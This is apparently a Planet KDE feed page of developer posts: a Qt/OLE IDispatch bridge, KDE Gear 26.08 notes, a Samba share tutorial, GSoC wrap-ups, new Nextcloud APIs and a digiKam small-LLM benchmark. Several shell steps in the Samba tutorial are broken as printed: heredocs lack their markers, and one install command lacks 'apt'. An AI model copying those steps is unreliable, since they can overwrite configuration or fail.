20 Aug 2026

feedPlanet KDE | English

Final week: Wrapping Up My GSoC Journey

The last two weeks were spent polishing the mobile-friendly selection mode based on Marco Martin's review feedback, wrapping up the multi-select work that's been the focus since weeks 9 and 10.

Selection Mode Refinements (!46)

The first version of Selection Mode had a few issues. The checkbox was not properly aligned with the entry text, so I changed the delegate to use a RowLayout. This keeps the checkbox directly next to the label and vertically centered.

Marco Martin also suggested that the whole row should be clickable, not just the checkbox. I moved the selection logic into a shared page.toggleSelection() function and used it for both mouse and touch taps. This makes selection work the same way on both devices.

For the toolbar, only "Delete Selected Secrets" and "Exit Selection Mode" should be available during selection mode. I added visible: !page.selectionMode to the other actions so they are completely hidden, including from the overflow menu.

20 Aug 2026 9:52am GMT

OLE-Dispatch When Doing MFC/Qt Migration

OLE-Dispatch When Doing MFC/Qt Migration

Most people who have ever ported an application from MFC to Qt know that at some point they have to integrate a QWidget into an MFC part of the user interface. Or the other way around, but that's a different story. Normally you would simply use a QWinWidget for that to do exactly what you want. But what happens if your application created the old MFC window as an OLE Control Extension (OCX)? In that case the easiest solution is to intercept the control name and provide it to your own factory providing the correct widget, which can then be embedded in a QWinWidget. Or you could use plugins to stick to the idea of it being DLLs. All roads lead to Rome. But what if your OLE based application uses the OLE-Dispatch way of initializing the controls? Setting properties, invoking methods, and so on?

I had exactly that problem and came up with a solution which glues OLE's IDispatch interface together with Qt's QMetaObject. That means you can access your QWidget's (or any other QObject) properties via the IDispatch interface provided by my QObjectDispatcher class. They only need to be declared via Qt's Q_PROPERTY macro. The same applies to slots and methods marked with Q_INVOKABLE.

Let's see how this is being used:

// This is the widget we're working with:
QWidget* someWidget = ...;
// Lets' create our dispatcher:
// You have to delete it yourself or let COM do it for you via IUnknown::AddRef/Release
QObjectDispatcher* dispatcher = new QObjectDispatcher(someWidget);
// The code until this point is the only part which is new in your application, as
// far as dispatching the calls/properties is involved. From here, it's exactly the same;
// from the OLE MFC application's perspective we often only have an IUnknown:
IUnknown* pUnknown = dispatcher;
// Now get the interface and start playing with it:
CComQIPtr<IDispatch> pDispatch(pUnknown);
// First we have to retrieve the index of the property we change
LPOLESTR name = "windowTitle";
DISPID dispId = -1;
pDispatch->GetIDsOfNames(IID_NULL, &name, 1, LOCALE_SYSTEM_DEFAULT, &dispId);
// Now that we have the index, we change the property
VARIANT varTitle = CComVariant("New window title");
DISPSPARAMS dispParams = { nullptr, nullptr, 0, 0 };
dispParams.rgvarg = &varTitle;
dispParams.cArgs = 1;
pDispatch->Invoke(dispId, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_PROPERTYPUT,
&dispParams, nullptr, nullptr, nullptr);

As you can see the API of IDispatch is not fun to work with and there's no reason to use this except of making that kind of stuff work in existing MFC/OLE-applications while porting. I strongly advise against using it in new code.

How does that work? Well, the IDispatch interface works in two steps. First, you have to request the ID of the method/property you want to access via GetIDsOfNames. You can request several IDs at the same time. QObjectDispatcher traverses the methods of the handled QObject via the corresponding QMetaObject. It then returns the index of the method. If there's no method found, it checks for a property. If it's found, it returns the index of the property plus the number of methods, to be able to recognize the type afterwards. If neither a method nor a property by that name is found, an error is reported.

Let's have a short look at how GetIDsOfNames roughly works. That example code cannot be used directly but gives you a rough idea of the implementation:

HRESULT QObjectDispatcher::GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cnames, LCID, DISPID* rgDispId)
{
// GetIdsOfNames supports requesting several at the same time
for (uint i = 0; i < cNames; ++i) {
// note you cannot use QMetaObject::indexOfMethod directly,
// since it expects the fully qualified name
auto indexOfMethod = []() { /* ... */ };
const int methodIndex = indexOfMethod(rgszNames[i]);
if (methodIndex != -1) {
rgDispId[i] = methodIndex;
continue;
}
}
// now do the same for the properties...
// [...]
return S_OK;
}

In the second step you can call Invoke to either invoke a method or to access a property. For this you need to pass a struct DISPSPARAMS which contains the arguments. rgvarg is an array to several arguments which are stored in reverse order. QObjectDispatcher will now pick the method or property (depending on the id passed and whether you passed DISPATCH_PROPERTYPUT, DISPATCH_PROPERTYGET, or DISPATCH_METHOD) and call it. For this it has to translate the arguments. For method calling, they need to be translated to QMetaMethodArgument or QMetaMethodReturnArgument for the return value. For properties, we have to go through QVariant to be able to read/write the property via Qt's Meta Object System.

Let's also have a look at how Invoke works internally. Even here, this code piece is not complete and won't work directly:

HRESULT QObjectDispatcher::Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO*, UINT*)
{
if (wFlags == DISPATCH_METHOD) {
const QMetaMethod method = metaObject->method(dispIdMember);
// translate return argument
auto returnArgument = translateReturnArgument(method, pVarResult);
// then call the method, translating all the arguments
invokeMethod(method, m_object, returnArgument, translateArgument(0), ...);
return S_OK;
}
// [...]
}

So, in your application, which expects a CWnd generated by some factory, you do the following:

  • Create a wrapper CWnd which you actually return to the caller. This CWnd will in some way provide access to an IDispatch instance like it was doing before your port
  • Create a QWinWidget residing inside of the CWnd.
  • Put your portedQWidget into the QWinWidget
  • Create a QObjectDispatcher working on your ported QWidget
  • Make your CWndreturn this QObjectDispatcher as IDispatch

Now your application should threat your ported widget as it was never ported. Of course, you have to provide the same properties and methods as the system expects using Qt's Meta Object System (Q_PROPERTY, Q_INVOKABLE).

There are, of course, some limitations:

  • You cannot overload names of methods as OLE doesn't allow that
  • Optional parameters are not supported, as QMetaMethod doesn't reflect that (or I simply haven't figured out, who knows…)
  • You have to provide a type-mapping for the argument types. The example project linked below provides only IUnknown*, int, and QString as these are the most common ones and show how it works
  • The example solution is not thread-safe

Find the complete code as a little example project on KDAB's GitHub repository at: https://github.com/KDABLabs/blogs-qt/tree/main/MFC-Migration-OLE-Dispatch

The post OLE-Dispatch When Doing MFC/Qt Migration appeared first on KDAB.

20 Aug 2026 8:32am GMT

KDE Gear ⚙️ 26.08

A script element has been removed to ensure Planet works properly. Please find it in the original post.

Okular

Okular is KDE's flagship document reader most commonly used for reading, signing, and annotating PDFs while also being an excellent eBook and comic reader that can also render Markdown.

In this new version, we have reinforced the signing features resulting in the process becoming more secure and streamlined. We have also melded both settings dialogs (Configure Backends and Configure Okular) into one, making everything less confusing.

More visible features include changes to the text selection: a triple click now selects a whole line, and annotations: Okular will automatically include any highlighted or underlined text in an associated note. You can also copy and paste some of your annotations (notes and inline comments) within the same document or onto another.

Dolphin

Dolphin is KDE's powerful file/folder/server explorer. Version 26.08 goes even further and improves its integration with KDE Connect. When exploring files on your phone from Dolphin, click on the Open KDE Connect button at the top of the window to make the KDE Connect app appear.

If you are browsing a busy directory, open the Filter Bar with Ctrl + i to use plain text, globbing (like you would use with the ls command in the terminal), or Regular Expressions to sort through the files.

The filter bar can now take plain text, globbed text, and regexes.

In a similar vein, you can now group files and folders independently from the sorting criterion. This means you can order files alphabetically by name and then group the files by type.

And if the number of tabs you have open gets out of hand, right click on a tab and you can chose to close the tabs to the right, left, or both.

Konsole

Konsole is KDE's terminal emulator and comes with many features and utilities.

You can now hold down the Alt key, click on an underlined file name, and drag it somewhere else. Also, drag an image onto an image editor to open "Ready for Editing", drag it onto a text editor and it will copy the path to the file.

The same can now be done with links, email addresses, and color terms too. Drag a link to an empty tab in your browser and it will open the page the link points to. Move the link onto a text editor, and it will download the HTML of the page ready for editing. Drag a color code onto an image in Krita and it will flood the layer with that color. Or drag the same color code onto a text editor and the color's hexadecimal code will be typed out for you.

Kdenlive

Kdenlive is KDE's feature-rich video editor. 26.08 comes with lots of quality of life improvements and polishing.

In the effects department for example, you can now move the Transform effect's rotation axis wherever you want, instead of having it fixed to the center of the item you need to rotate.

The Gradient Map effect now lets you add multiple stops to a gradient, and you can now adjust the curves in the Curves (avfilter) effect independently to the get the color hues you need.

Down on the timeline, you can copy a selection to a new sequence, or have Kdenlive create audio tracks automatically as needed for your clips. You can also reorder tracks and configure different colors for each item type - video, image, title, etc.

Choose the colors to use with different kinds of clips.

In the Titler, you can now copy and paste objects, give rectangles rounded corners, and snap objects to the center and edges of the screen as well as to other items. This feature includes a visual guide to help you.

Minuet

Minuet is KDE's application for music education. It helps students and musicians train their ears with exercises for intervals, chords, scales, and rhythms.

Minuet has a new interface built to work well on both desktop and mobile screens. The home page and navigation drawer make exercise categories easier to find while making the exercise browser present each activity as a card with a short description. Your current category remains highlighted, and the new search field filters exercises by their translated names and descriptions. Exercise pages have also been reorganized to use the available space better on narrow windows and phones.

Full changelog here

Where to get KDE Apps

Although we fully support distributions that ship our software, KDE Gear 26.08 apps will also be available on these Linux app stores shortly:

Flathub
Snapcraft

If you'd like to help us get more KDE applications into the app stores, support more app stores and get the apps better integrated into our development process, come say hi in our All About the Apps chat room.

20 Aug 2026 12:00am GMT

19 Aug 2026

feedPlanet KDE | English

Linux Samba server and Linux Samba client tutorial

I want to share from the server a directory, and use that directory share on the client computer. Using the Microsoft Windows "Server Message Block" (SMB)/CIFS directory sharing protocol.
I have created two Kubuntu 26.04 virtual machines: a Samba server and a Samba client.

Samba server: 192.168.122.202. Computer name: ASERVER. User name: sadmin.
Samba client: 192.168.122.92. Username: administrator.

A video version of this tutorial is available https://www.youtube.com/watch?v=mNgBZtunNnE .

1.Configure the Samba server computer

Kubuntu 26.04 by default uses the ufw firewall solution and ufw is disabled. Configuring a firewall is another topic.
Create the directory /home/sadmin/smbshare . Put some files there.

# Become the user root.
sudo su
ufw status
# Says "Status: inactive".
apt update
apt install samba smbclient
cat > /etc/samba/smb.conf
[linux_smbshare]
comment = Linux smbshare
path = /home/sadmin/smbshare
browseable = yes
read only = no
guest ok = no
valid users = sadmin
create mask = 0660
directory mask = 0770
EOF
testparm
systemctl restart smbd
smbpasswd -a sadmin
# I use the same password for the user sadmin. Both for the
# Linux user account and for the Samba user account.
pdbedit -L
# Stop being the user root.
exit
smbclient //localhost/linux_smbshare -U sadmin
ls
# Exit smbclient shell/REPL.
exit

Note that two parts of NETBIOS protocol are disabled by default: the one similar to DNS (hostname to IPv4 conversion) and the one where the Samba server advertises itself on the Local Area Network (LAN) as an SMB server.

testparm
says:
[global]
disable netbios = Yes

Bonus points if the Samba server computer has an IPv4 address that does not change.
Restart the Samba server computer.

2.Configure the Samba client computer

sudo apt update
sudo install smbclient cifs-utils avahi-utils

The information that, years ago, we could get using the NETBIOS protocol can now be accessed from a Samba client computer using other technologies:

* When listing SMB servers on the LAN. Instead of using NETBIOS. We can use the DNS-Based Service Discovery (DNS-SD) protocol (avahi).

$ smbtree -N
main: This is utility doesn't work if netbios name resolution is not configured.
If you are using SMB2 or SMB3, network browsing uses WSD/LLMNR, which is not yet supported by Samba.
SMB1 is disabled by default on the latest Windows versions for security reasons. \
It is still possible to access the Samba resources directly via \name or \ip.address.
$ avahi-browse -rtp _smb._tcp
+;virbr0;IPv4;ASERVER;Microsoft Windows Network;local
=;virbr0;IPv4;ASERVER;Microsoft Windows Network;local;aserver.local;192.168.122.202;445;

* Converting from "ASERVER" to an IPv4 address does not work. Converting from "ASERVER.local" to the IPv4 address 192.168.122.202 works because of avahi DNS-SD DNS server/client, mdns4_minimal.

$ ping ASERVER
ping: ASERVER: Temporary failure in name resolution
$ ping ASERVER.local
PING ASERVER.local (192.168.122.202) 56(84) bytes of data.
64 bytes from 192.168.122.202: icmp_seq=1 ttl=64 time=0.110 ms
$ cat /etc/nsswitch.conf | grep hosts
hosts: files mdns4_minimal [NOTFOUND=return] mymachines dns
# Continue configuring the Samba client.
sudo mkdir -p /media/192_168_122_202_linux_smbshare
# Without file with SMB username and password.
sudo mount -t cifs //192.168.122.202/linux_smbshare /media/192_168_122_202_linux_smbshare \
-o username=sadmin,uid=administrator,gid=administrator
sudo umount /media/192_168_122_202_linux_smbshare
# With file with SMB username and password.
# As the user administrator.
cat  /home/administrator/.smbcredentials
username=sadmin
password=pass123
EOF
sudo mount -t cifs //192.168.122.202/linux_smbshare /media/192_168_122_202_linux_smbshare \
-o uid=administrator,gid=administrator,credentials=/home/administrator/.smbcredentials
sudo mount /media/192_168_122_202_linux_smbshare
sudo umount /media/192_168_122_202_linux_smbshare

Append to /etc/fstab the line:

//192.168.122.202/linux_smbshare /media/192_168_122_202_linux_smbshare cifs noauto,uid=administrator,gid=administrator,credentials=/home/administrator/.smbcredentials 0 0

Note that "//192.168.122.202/linux_smbshare" will not be mounted automatically because of "noauto" in /etc/fstab.
Each time you reboot your Samba client computer and want to use the shared directory, run:

sudo mount /media/192_168_122_202_linux_smbshare

Advantages: if the Samba server is down or configured incorrectly or if the network connection between Samba server computer and Samba client computer is not great. The Samba client computer will not be affected.

3.I test the KDE app smb4k

https://apps.kde.org/smb4k is a KDE GUI app that acts as an SMB client. It can list SMB servers available on the LAN. It can determine the "SMB domain" of a computer. It can get the list of shared directories. It can list the contents of shared directories. It can mount a shared directory using "mount.cifs".

kde-builder smb4k
kde-builder --run smb4k

I have encountered some issues:

A. If server is Kubuntu 26.04, smb4k cannot get the list of shares of the SMB server. https://invent.kde.org/network/smb4k/-/merge_requests/24
This is because "ping ASERVER" does not work, but "ping ASERVER.local" works correctly.

B. In smb4k when hovering on top of a SMB server, a tooltip is shown that says "Workgroup: LOCAL" instead of "Domain: WORKGROUP".
From the command line, we can get the correct "SMB domain" for an SMB server:

$ rpcclient -U % -c "lsaquery" 192.168.122.202
Domain Name: WORKGROUP
Domain Sid: (NULL SID)

A fix for this issue is more complicated because each time dnssd/kdnssd notifies smb4k that an SMB server named A exists on the LAN. smb4k should decide if this computer was received previously. If not, smb4k should run the command line above and get the "actualDomain" from the STDOUT of the process. Bonus points if getting the correct SMB domain is non blocking, creates at most 5 "rpcclient" sub processes at the same time.

19 Aug 2026 6:07pm GMT

GSoC 2026 Wrap-up

Improving Effect Widgets for Kdenlive

Organization: KDE Community

Project: Kdenlive

Contributor: Yash Bavadiya (@xevrion)

Mentor: Jean-Baptiste Mardelle (@mardelle)

Reviewers: Julius Künzel (@jlskuz), Bernd Jordan (@bjordan)

This is the final post for my Google Summer of Code 2026 project with KDE. Full weekly detail is linked at the bottom; this one's the complete summary.

Contents

Project overview

Kdenlive's effect system exposes powerful underlying libraries (libavfilter, MLT) through custom Qt widgets in the effect panel. Three of those widgets had real, longstanding usability gaps: the Curves effect needed the same filter applied three separate times for independent RGB channel control, the Gradient Map effect only supported two fixed color stops when the underlying MLT filter supports up to 32, and the Time Remapping panel had no way to ease speed changes, every transition was abrupt.

The goal of this project was to rebuild all three as proper, well-tested widgets, backed by the correct underlying data formats, with full backward compatibility for existing project files.

Project status

The project is fully complete. All three proposed widgets are merged into Kdenlive's master branch:

One follow-up item remains open: a bug found during Speed Ramp review, where keyframe interpolation types are lost when a clip is resized, was traced to ClipModel::requestRemapResize() in the timeline model, outside this project's original scope. My mentor asked for this as a separate follow-up MR rather than folding it into !928, since it touches unfamiliar timeline code with roughly 15 mutation sites needing updates. That fix is in progress.

Pre-GSoC work

Before the coding period began (community bonding ran April 30 to May 24), I landed twelve merged contributions to Kdenlive, mostly while getting familiar with the codebase and building trust with the maintainers:

This is also where I learned the project's review culture firsthand, small, focused MRs, clear commit messages, and genuine back-and-forth before merge, which set the tone for everything that followed.

Coding-period deliverables

1. Curves widget

MR !887, closing #2187

Replaced a single shared curve control with per-channel tabs (All, R, G, B) for the avfilter.curves effect. Previously, independent per-channel adjustment required applying the effect three separate times.

What changed:

2. Gradient Map widget

MR !911, closing #1064, relating to #2206

Replaced a fixed two-color-stop gradient control with a draggable multi-stop editor for the gradientmap MLT filter, which already supported up to 32 stops via stop.N parameters, the UI just never exposed them.

What changed, including a real architecture pivot:

3. Speed Ramp widget

MR !928, relating to #2188 and #1454

Added per-keyframe interpolation types to the Time Remapping panel, so speed changes can ease in and out instead of switching abruptly at every keyframe boundary, plus a curve band showing the actual interpolated shape.

What changed, including the biggest scope revision of the summer:

Also merged during GSoC

!878: added a "Duplicate Clip" action to the timeline (Ctrl+D, right-click menu), addressing a long-standing feature request (bug 435319). Not one of the three proposal widgets, but real merged work from the same period. During review, JB found and removed two stray method declarations left over from a rebase error, a good reminder to double check rebase output carefully.

Challenges

The recurring theme this summer was discovering, partway through implementation, that an assumption baked into the original plan didn't hold, and needing to change direction with a mentor rather than push forward regardless.

The Gradient widget's dependency pivot is the clearest example: a reviewer's suggestion to look at an external library led to actually wiring it in, before the maintainers weighed the tradeoffs and decided against the dependency entirely. The Speed Ramp widget had a similar moment at a lower level, discovering MLT genuinely couldn't support the originally proposed bezier-handle design, verified with a real test program rather than assumed.

The most useful habit that came out of this was treating claims, my own included, as things to verify rather than trust. The Speed Ramp resize bug took three separate investigation passes to actually locate, the first two hypotheses were reasonable but wrong, and each was only ruled out by tracing the actual call sites and reproducing the bug directly rather than reasoning about it abstractly. The bug was eventually found in code outside the original three files this project touched.

Future work

None of these block the core functionality already merged. All three proposed widgets are in master and working.

Acknowledgements

Thanks to Jean-Baptiste Mardelle, my mentor, for consistently thorough review across all three widgets and for being willing to change direction, twice, on real architectural questions, when new information came up, rather than defending an earlier decision for its own sake. Thanks to Julius Künzel for the UX instincts that reshaped the Gradient and Speed Ramp widgets for the better, and to Bernd Jordan for close, careful review on every MR and for sketching out concrete alternatives when something wasn't working. Genuinely a great summer.

All the weekly posts

Full status report and week-by-week technical detail also on the KDE Community Wiki.

19 Aug 2026 5:51pm GMT

Linux Magazine Reviews Tellico

Linux Magazine discusses Tellico in their September 2026 issue, in an article titled Let's Collect, which covers Tellico, Recoll, Asunder, and Picard, among others.

In this article we're looking at Linux applications that you may want to try out if you already have a collection of physical books, ebooks, CDs, or other media, or are just starting to collect. You can create a catalog that stores metadata of your collection items, index ebooks to make their content searchable, and rip CDs so that you can play them on the computer, too.

The author, Hans-Georg Eßer, favorably mentions saving separate collection files for each type (books, coins, discs, etc.) which is nice. He does directly mention the Internet Search dialog, so I'm glad to see that the UI adjustments were effective. He even goes as far as showing fetch results from three different sources in the screenshot! The capability to drag an image into the Entry Editor was noted, which I appreciate. An extended section covered importing from CSV, which does seem to be functionality that just about every user needs at some point. His explanation of the process is much better than mine.

One of the gotchas that the article mentions is the .tc file extension was not automatically added to the saved file name. I suspect the author might not have been using the Plasma-desktop, or at least, not the KDE file integration, since the save dialog is supposed to have an option to do just that. So for the next release, I'll automatically append .tc if there is no extension selected. That issue has popped up in other reviews, too.

Linux Magazine has mentioned Tellico a few other time, including June 2025 and as far back as August 2005.

19 Aug 2026 12:54pm GMT

18 Aug 2026

feedPlanet KDE | English

Modern, Stable APIs for Your Nextcloud Application

Nextcloud provides a large public PHP interface to developers to use for building their application. It is commonly called OCP. Some of big components of OCP are the HTTP stack with IRequest, Response and Controllerto handle requests, the IQueryBuilder/IDBConnection to query the database and many feature oriented components and utilities.

Outside of OCP, applications can also use a lot of private APIs and 3rd party libraries included by Nextcloud, but these don't have the same stability guarantees as the official public interface.

With Nextcloud Hub 26 Summer (35.0.0), there are 3 big changes coming to the OCP API. The first two are that we are now providing a public API for the Symfony Console component and the Doctrine database schema abstraction. The first one is required when wanting to extend the Nextcloud command line tool occ and the second one is used to create database migrations. Both are very important but would break every app every time we would update the dependencies, which is forcing us to keep older versions of these dependencies (thankfully older versions are still maintained).

Declaring Commands with #[AsCommand]

To replace the first one, we added a new family of PHP attributes and interfaces. Instead of inheriting from OC\Core\Command\Base to implement a command, you can now use a simple PHP invokable class and annotate it with the #[AsCommand] (link) attribute as follows.

#[AsCommand(
 name: 'app:create-user',
 description: 'Creates a new user.',
 help: 'This command allows you to create a user...',
 usages: ['bob', 'alice --as-admin'],
)]
class CreateUserCommand {
 public function __invoke(): ExitCode {
 // ...
 return ExitCode::Success;
 }
}

Options and arguments for your commands can be defined declaratively in the __invoke method parameters.

The parameter's type and default value decide whether the argument or option is required, repeatable, or a flag.

#[AsCommand(name: 'app:user:created')]
class CreateUserCommand {
 public function __invoke(
 #[Argument(description: "The username of the user")]
 string $userId,
 #[Option(description: "Force the creation")]
 bool $force = false,
 ): ExitCode {
 // ...
 return ExitCode::Success;
 }
}

Additionally it is possible to inject IOutput and IInput in the __invoke method parameters to be able to ask questions; print texts, progress bars and tables.

This new API doesn't replace the existing private API, which is still available, but using it allows you to improve the coverage of the static analyser as stubs for these commands are available in the nextcloud/ocp package and this will prevent you from API breakage when using the Symfony Console API directly.

Manipulating SQL Tables with OCP\DB\Schema

This is actually a small breaking change, but for the schema migration, ISchemaWrapper won't return Doctrine\DBAL types anymore but instead our own wrapper in OCP\DB\Schema.

The wrapper has essentially the same API as the doctrine implementation so the breaking change should be minimal. But there are a few cases which won't work anymore, for example:

Fortunately all these issues should be found quite easily by installing your application, which should be the case when running your unit tests. Grepping for DBAL and running psalm/phpstan should also help find the issues.

Introducing the Nextcloud ORM

The third big change is the addition of a simple ORM to Nextcloud: OCP\AppFramework\ORM.

This allows you to define an easy mapping between your database tables and PHP objects by using PHP attributes. This can be used for simple tables.

<?php
use OCP\AppFramework\ORM\Attribute\Column;
use OCP\AppFramework\ORM\Attribute\Entity;
use OCP\AppFramework\ORM\Attribute\Id;
use OCP\DB\Schema\ColumnType;

#[Entity(name: 'twofactor_backupcodes')]
final class BackupCode {
 #[Id]
 #[Column(name: 'id', type: ColumnType::Integer, nullable: false)]
 public ?int $id = null;

 #[Column(name: 'user_id', type: ColumnType::String, length: 64, nullable: false)]
 public string $userId;

 #[Column(name: 'code', type: ColumnType::String, length: 128, nullable: false)]
 public string $code;

 #[Column(name: 'used', type: ColumnType::Smallint, nullable: false, default: 0)]
 public int $used = 0;
}

Which can then be fetched by using a Repository which provides convenient utilities to fetch, delete, update or insert entries in the database.

<?php
class BackupCodeRepository extends Repository {
 public const string entityClass = BackupCode::class;

 /**
 * @return \Generator<BackupCode>
 */
 public function findByUser(IUser $user): \Generator {
 return $this->findBy([
 'userId' => $user->getUID(),
 ]);
 }

 public function deleteByUser(IUser $user): void {
 $this->deleteBy([
 'userId' => $user->getUID(),
 ]);
 }
}

$backupCodeRepo = Server::get(BackupCodeRepository::class);

$backupCode = new BackupCode();
$backupCode->userId = 'admin';
$backupCode->code = 'secret';
$backupCode = $backupCodeRepo->insert($backupCode);

$backupCode->code = 'new-code';
$backupCodeRepo->update($backupCode);

$adminCodes = $backupCodeRepo->findBy(['userId' => 'admin']);

$backupCodeRepo->delete($backupCode);

The ORM also supports mapping simple relationships between tables. For example, to define a relation between a customer and a cart where each cart has a customer and each customer has a cart, you can use the following annotated PHP classes. In the background, Nextcloud will create a SQL query with a JOIN automatically to fetch all the information in one query.

#[Entity(name: 'repository_customer')]
final class Customer {
 #[Id]
 #[Column(name: 'id', type: ColumnType::Bigint)]
 public ?int $id = null;

 #[OneToOne(targetEntity: Cart::class, mappedBy: 'customer')]
 #[JoinColumn(name: 'cart_id', referencedColumnName: 'id')]
 public ?Cart $cart = null;

 #[Column(name: 'name', type: ColumnType::String, nullable: false)]
 public string $name;
}

#[Entity(name: 'repository_cart')]
final class Cart {
 #[Id]
 #[Column(name: 'id', type: ColumnType::Bigint)]
 public ?int $id = null;

 #[OneToOne(targetEntity: Customer::class, invertedBy: 'cart')]
 #[JoinColumn(name: 'customer_id', referencedColumnName: 'id')]
 public ?Customer $customer = null;
}

For now, this only supports OneToOne and ManyToOne relationships between classes, with OneToMany and ManyToMany still missing.

A good example how this simplifies the code is this pull request porting the oauth2 app to this entity system.

Improved HTTP dispatcher

The HTTP dispatcher which takes care of calling the correct controller method now does various levels of input sanitization based on the PHPDoc comments. This means you can now write the following and have some guarantees about some of your variables:

<?php

class MyController extends OCSController {
 /**
 * @param non-empty-string $search
 * @param positive-int $limit Maximum number of results to return
 * @param non-negative-int $offset Offset for searching
 * @return DataResponse<Http::STATUS_OK, list<CoreAutocompleteResult>, array{Link?: string}>
 *
 * 200: Autocomplete results returned
 */
 #[NoAdminRequired]
 #[ApiRoute(verb: 'GET', url: '/autocomplete/get', root: '/core')]
 public function autocomplete(string $search, int $limit = 10, int $offset = 0): DataResponse {
 // $search is now guaranteed to be non empty
 // $limit is now guaranteed to be > 0
 // $offset is now guaranteed to be >= 0
 ...
 }
}

You can also inject backed enums and the values for this parameter will be restricted to one of the enum values.

<?php

enum GrantType: string {
 case AuthorizationCode = 'authorization_code';
 case RefreshToken = 'refresh_token';
}

class MyController extends OCSController {
 #[PublicPage]
 public function getToken(
 GrantType $grant_type, ?string $code, ?string $refresh_token,
 ?string $client_id, ?string $client_secret,
 ): JSONResponse {
 ...
 }
}

These two changes make it easier for you to ensure your APIs are secure by default!

Other Small Changes

What Is Coming Next?

In the next releases, I want to make Data Transfer Objects (DTO) even more powerful in Nextcloud. The new Entity classes are good examples of DTOs, as they are used to transfer data. What is still missing is a good strategy to serialize/deserialize them to JSON (and other formats) and also to validate them.

For this goal, we would want to wrap the already existing components from Symfony and just provide our own attributes. For reference, here's what this looks like in Symfony, and what I'd really like to see in Nextcloud at some point.

use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\Serializer\Attribute\Ignore;
use Symfony\Component\Serializer\Attribute\Context;
use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;

class Author {
 #[Assert\Email(
 message: 'The email {{ value }} is not a valid email.',
 )]
 protected string $email;

 #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
 public \DateTimeImmutable $createdAt;

 #[Ignore]
 public function isPotentiallySpamUser(): bool { ... }
}

18 Aug 2026 12:00am GMT

17 Aug 2026

feedPlanet KDE | English

Bigger Wasn’t Better: Benchmarking Small Models for digiKam’s Natural Language Search

GSoC 2026 • digiKam • Post 3: The Benchmark, and the Fine-Tuning Decision

At the end of my last post I promised a comparison: Qwen2.5 against TinyLlama on real digiKam queries. This is that post. It grew a third model along the way, and the result surprised me enough that I want to walk through it honestly, because the tidy expectation I started with turned out to be wrong.

If you're just joining: in the first post I introduced the goal - bringing natural-language search to digiKam, so you can find photos by describing them in plain English instead of filling in an advanced-search form. In the second post I walked through actually wiring a local LLM into a desktop app, and the lesson that surprised me: the model was the small part, and the pipeline around it: the prompt, the parser, the dictionary that catches ambiguity, did most of the real work. This post picks up the thread I left there: is the model I chose actually the right one?

The question underneath all of this is a practical one. digiKam's natural language search runs a local, quantized model on the user's own machine, no cloud, no API, your photos and your queries never leave your computer. That constraint is the whole point of the feature, and it's also what makes model choice hard. You can't just reach for the biggest, best model; it has to load and run on an ordinary laptop, next to digiKam itself, fast enough that a search doesn't feel broken. So the real question isn't "which model is best," it's "which model is the right balance for this job."

I'd been running Qwen2.5-1.5B this whole time because it felt right. This post is me actually checking.

What I measured, and how

I built a small benchmark harness. It lives in core/tests/llm/, it's a standalone Python script, and it does three things for every query: measures latency, measures peak memory, and scores structured-output accuracy, whether the model produced the correct search constraints.

The one thing I cared about most was fidelity: the benchmark had to test the real pipeline, not a convenient approximation of it. So it uses the exact prompt digiKam sends, transcribed straight from SearchPromptBuilder, and it feeds the model the same way the C++ backend does, as a raw prompt with no chat-template wrapping. If the benchmark and the app disagreed on how they talked to the model, the numbers would be fiction.

The test set is about 40 hand-labelled queries. Each one pairs a plain-English request with the constraints it should produce: "photos from 2023 rated 5 stars" should give a date range and a rating. I scored at the level of the model's raw intent, before the resolver's later cleanup steps, because I wanted to measure the model, not the pipeline wrapped around it.

Which brings me to the first thing I got wrong.

The benchmark caught my own mistakes first

My first run scored Qwen at 66%. I almost believed it.

Then I read the failures, and most of them weren't the model. They were me, in the labels. I'd written that "pictures tagged sunset" should produce tag with the operator contains; the model produced eq; and when I checked the actual code, digiKam's tag matching ignores the operator entirely and looks the tag up by name. So the model was right, my expected answer was wrong, and my benchmark was confidently marking a correct output as a failure.

There were a handful like that. A caption operator I'd mislabelled. And a latency problem that turned out to be the harness, not the model: I was letting the model generate all the way to its token limit, when the real backend stops the moment it has a complete JSON object. The model had been producing a correct answer and then rambling on past it; the app already knew to stop reading, and my benchmark had forgotten to. It was the same "knowing when to shut up" issue from last post, except this time the mistake was mine, in the harness. Once I fixed it to stop at the first complete object the way the backend does, median latency dropped from about 15 seconds to under 2.

I'm telling you this because it's the most important thing the benchmark did. Before it could measure the model, it measured my assumptions, and several of them were wrong. A benchmark that only ever confirms what you expected isn't measuring anything. The 66% was noise; the real signal was underneath, once I stopped trusting my own labels and started checking them against what the code actually does.

The honest Qwen2.5-1.5B number, after fixing my labels, is about 85%.

The three-way comparison

I benchmarked three models, all as Q4_K_M quantized GGUFs so the comparison is fair, all getting the identical prompt:

Here's what came back:

Model Constraint accuracy Median latency Peak RAM
TinyLlama-1.1B 18% ~6.4s ~1.3 GB
Qwen2.5-1.5B 85% ~2.3s ~2.0 GB
Qwen2.5-3B 79% ~29s ~3.5 GB

I sat with that middle-and-bottom row for a while, because it's not what I expected.

Natural language search demo

TinyLlama can't do the job

At 18%, TinyLlama isn't close. And it's not failing gracefully, it's failing weirdly. It invents field names. It puts typos in values ("accpeted"). In several queries it copied the schema template literally into its output, the null | { ... } placeholder and all, producing JSON that doesn't parse. It's a small model being asked to do something structured, and it mostly can't hold the shape.

The pattern makes sense once you think about capacity. With only 1.1B parameters, TinyLlama doesn't have enough of a grip on the instruction to commit to one clean answer, so it hedges by generating more - more tokens, more variations, more noise. That also explains the thing I'd assumed wrong: I expected it to at least be faster, and it wasn't. It was slower than the 1.5B model, precisely because it rambles; it doesn't know when to stop, so it burns tokens generating garbage after the answer. Smaller model, worse latency, far worse accuracy. There's no axis on which it wins.

And bigger didn't help

This is the row I keep coming back to. I added Qwen2.5-3B expecting it to be the accuracy ceiling, the "here's what you get if you're willing to pay for it" option. Instead it scored lower than the 1.5B model, 79% against 85%, and it did it while taking thirteen times longer per query and using most of another gigabyte and a half of RAM.

